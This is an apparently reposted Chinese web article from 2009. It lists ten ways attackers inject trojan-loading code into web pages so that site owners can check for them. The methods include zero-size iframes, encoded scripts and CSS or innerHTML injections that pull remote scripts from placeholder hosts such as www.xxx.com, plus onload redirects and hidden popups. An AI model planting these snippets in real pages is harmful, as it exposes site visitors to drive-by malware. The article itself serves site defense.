時間:2009-07-26 點擊: 次 來源:網絡 作者:佚名 - 小 + 大
這篇文章指在告訴大家壞人經常使用的網頁掛馬方式,從而可以對自己的網頁進行防范,只要檢測這些經常被用于掛馬的地方,很容易找到木馬的所在。
一:框架掛馬 <iframe src=地址 width=0 height=0></iframe> 其中“地址”處可以輸入惡意網站鏈接等 二:js文件掛馬 只要是JS文件,都可以通過被惡意修改從而被掛上惡意代碼,一般被全站引用的JS代碼最容易被掛木馬,檢測我們可以查看JS代碼的左邊或下邊,壞人很喜歡將惡意代碼與正常代碼間用很多空格或回車來進行隱藏,所以要多看看JS代碼頁面有沒有被故意拉長等。 三:js變形加密 <SCRIPT language="JScript.Encode" src=http://www.xxx.com/muma.txt></script> muma.txt可改成任意后綴 四:body掛馬 <body onload="window.location='地址';"></body> 五:隱蔽掛馬 top.document.body.innerHTML = top.document.body.innerHTML + '\r\n<iframe src="http://www.xxx.com/muma.htm/"></iframe>'; 六:css中掛馬 body { background-image: url('javascript:document.write("<script src=http://www.XXX.net/muma.js></script>")')} 這種方式比較狠,也比較難發現。 七:JAJA掛馬 <SCRIPT language=javascript> window.open ("地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1"); </script> 八:圖片偽裝 <html> <iframe src="網馬地址" height=0 width=0></iframe> <img src="圖片地址"></center> </html> 九:偽裝調用 <frameset rows="444,0" cols="*"> <frame src="打開網頁" framborder="no" scrolling="auto" noresize marginwidth="0"margingheight="0"> <frame src="網馬地址" frameborder="no" scrolling="no" noresize marginwidth="0"margingheight="0"> </frameset> 十:高級欺騙 <a onMouseOver="www_163_com(); return true;"> 頁面要顯示的內容 </a> <SCRIPT Language="JavaScript"> function www_163_com () { var url="網馬地址"; open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10"); } </SCRIPT> |
上一篇:最新向ALexa提交網站的方法
下一篇:網頁自動跳轉代碼收集